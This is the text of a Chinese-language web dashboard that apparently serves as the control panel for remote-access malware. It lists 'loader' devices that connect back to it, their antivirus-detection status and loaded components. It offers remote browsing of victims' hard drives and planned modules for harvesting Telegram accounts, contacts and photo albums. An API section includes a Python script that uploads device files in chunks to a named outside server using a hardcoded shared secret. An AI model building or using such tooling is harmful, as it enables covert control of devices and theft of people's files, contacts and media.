仪表盘
系统运行概览 · 实时数据
远控端 · 总设备
{{ dashStats.total }}
已注册设备总数
远控端 · 在线
{{ dashStats.online }}
当前在线设备
远控端 · 离线
{{ dashStats.offline }}
当前离线设备
远控端 · 在线率
{{ dashStats.online_rate }}%
总在线率统计
加载器 · 总设备
{{ loaderStats.total }}
已注册加载器总数
加载器 · 在线
{{ loaderStats.online }}
当前在线加载器
加载器 · 离线
{{ loaderStats.offline }}
当前离线加载器
加载器 · 组件数
8
预装组件数量
加载中...
📊 系统统计
设备总数: {{ sysStats.total_devices || 0 }}
在线设备: {{ sysStats.online_devices || 0 }}
用户数: {{ sysStats.user_count || 0 }}
分组数: {{ sysStats.group_count || 0 }}
加载中...
🖥 远控端统计
总设备: {{ rustdeskStats.total_devices || 0 }}
在线: {{ rustdeskStats.online_devices || 0 }}
离线: {{ rustdeskStats.offline_devices || 0 }}
在线率: {{ rustdeskStats.online_rate || 0 }}%
加载中...
远程桌面
管理所有已注册的远程设备
| 设备名称 | 远控端 ID | 远控端地址 | 分组 | 状态 | 最近在线 | 操作 |
|---|---|---|---|---|---|---|
| 暂无设备 | ||||||
| {{ d.name }} | {{ d.rustdesk_id }} |
{{ d.ip || '-' }} | {{ d.group_name }}- | {{ d.status==='online'?'在线':'离线' }} | {{ d.last_seen || '-' }} |
|
{{ devicePage }} / {{ deviceTotalPages }}
设备控制台
加载器设备管理
📡 加载器设备
📡
暂无加载器设备
等待加载器反向连接...
{{ l.device_id }}
{{ l.name || '未知' }} · {{ l.os }}
{{ l.status==='online'?'在线':'离线' }}
✏
⏸ {{ compName(comp.cid) }} ({{ truncateMsg(comp.msg) }})
🚀 {{ compName(comp.cid) }} {{ truncateMsg(comp.msg) }}
⏸ 已暂停 {{ compName(comp.cid) }}
⬇ {{ compName(comp.cid) }}
📦 {{ compName(comp.cid) }}
⏸ {{ compName(comp.cid) }} ({{ truncateMsg(comp.msg) }})
🚀 {{ compName(comp.cid) }}
✅ {{ compName(comp.cid) }}
❌ {{ compName(comp.cid) }}
🟢 杀软({{ comp.av_list.length }})
🔴 杀软
{{ compName(comp.cid) }}:{{ comp.st }}
({{ truncateMsg(comp.msg) }})
已加载: 无
{{ l.ip }} · {{ l.last_seen || '-' }}
{{ scLoaders.filter(l=>l.status==='online').length }} 在线
{{ scLoaders.filter(l=>l.status==='offline').length }} 离线
分组管理
管理设备分组
| 分组名称 | 描述 | 设备数 | 操作 |
|---|---|---|---|
| 暂无分组 | |||
| {{ g.name }} | {{ g.description || '-' }} | {{ g.endpoint_count || 0 }} |
|
TG客户端
Telegram 客户端管理
💬
TG客户端 — 功能开发中
TG管理
Telegram 综合管理
📋
TG管理 — 功能开发中
通信录资源
通信录与联系人资源管理
📇
通信录资源 — 功能开发中
相册资源
相册与媒体资源管理
🖼
相册资源 — 功能开发中
设备文件资源
远程浏览加载器设备的硬盘文件
📋 显示完整路径
⬆ 上传到服务器 (uploads/设备ID/)
系统文件资源
管理 uploads 目录下的所有文件和文件夹
›
{{ b }}
📂
此文件夹为空
{{ item.name }}
{{ feFormatSize(item.size) }}
{{ feSelected.length }} 项已选
✂ 剪切
📋 复制
⬇ 下载
🗑 删除 ({{ feSelected.length }})
📂 打开
⬇ 下载
✂ 剪切
📋 复制
📥 粘贴 ({{ feClipboard.length }})
✏ 重命名
🗑 删除
📥 粘贴 ({{ feClipboard.length }} 项)
⬆ 上传文件
📁 新建文件夹
🔄 刷新
种子斗篷
种子斗篷保护
🛡
种子斗篷 — 功能开发中
API 文档
客户端签名上传接口说明
签名认证机制
所有上传请求使用 HMAC-SHA256 签名认证。客户端需持有预共享密钥 UPLOAD_API_KEY,在每次请求前计算签名放入请求头。
# 签名算法
# 1. 构造签名消息(换行符 \n 分隔)
message
= {timestamp}
+ "\n"
+ {clientId}
+ "\n"
+ {filename}
+ "\n"
+ {chunkIndex}
+ "\n"
+ {totalChunks}
# 2. 计算签名
signature
= Base64( HMAC-SHA256(secret_key, message) )# 3. 放入请求头
X-Timestamp
: {timestamp}X-Signature
: {signature}
POST /api/upload/chunk
分片上传文件到服务器。文件存储在 ./uploads/{clientId}/。
Query 参数
| 参数 | 类型 | 必填 | 说明 |
|---|---|---|---|
filename | string | ✅ | 文件名(自动取 basename 防路径穿越) |
chunkIndex | int | ✅ | 分片索引,从 0 开始 |
totalChunks | int | ✅ | 总分片数 |
clientId | string | ✅ | 客户端唯一标识 |
请求头
| Header | 类型 | 必填 | 说明 |
|---|---|---|---|
X-Timestamp | string | ✅ | Unix 时间戳(秒),有效期 ±5 分钟 |
X-Signature | string | ✅ | Base64 编码的 HMAC-SHA256 签名 |
Content-Type | string | - | application/octet-stream |
请求体
原始二进制分片数据,单分片最大 100MB。
响应
分片接收 (非最后一片):
{ "status": "ok", "chunkIndex": 0, "totalChunks": 5, "merged": false }
上传完成 (最后一片合并后):
{ "status": "ok", "msg": "上传完成", "filename": "test.bin", "clientId": "win-001", "size": 5242880, "path": "uploads/win-001/test.bin" }
错误响应
| HTTP 状态 | 说明 |
|---|---|
401 | 缺少 X-Timestamp / X-Signature 请求头 |
403 | 签名验证失败(时间戳过期或签名不匹配) |
400 | 参数错误(文件名非法、分片缺失等) |
413 | 分片超过 100MB 或文件超过 5GB |
500 | 服务端合并超时(2分钟未收齐所有分片) |
Python 示例代码
import requests import hmac, hashlib, base64, time, os # 配置 SECRET = "binhi_upload_secret_2026" BASE_URL = "https://yktest.glpay.xin/api" CLIENT_ID = "win-001" # 文件信息 filepath = "test.bin" filename = os.path.basename(filepath) filesize = os.path.getsize(filepath) CHUNK = 10 * 1024 * 1024 # 10MB total = (filesize + CHUNK - 1) // CHUNK # 分片上传 with open(filepath, "rb") as f: for i in range(total): chunk = f.read(CHUNK) ts = str(int(time.time())) # 构造签名消息 msg = f"{ts}\n{CLIENT_ID}\n{filename}\n{i}\n{total}" sig = base64.b64encode( hmac.new(SECRET.encode(), msg.encode(), hashlib.sha256).digest() ).decode() headers = {"X-Timestamp": ts, "X-Signature": sig} params = {"filename": filename, "chunkIndex": i, "totalChunks": total, "clientId": CLIENT_ID} r = requests.post(f"{BASE_URL}/upload/chunk", params=params, headers=headers, data=chunk) print(f"分片 {i+1}/{total}: {r.json()}")
设置
系统配置与账户管理
🔐 修改密码
修改当前登录账户的密码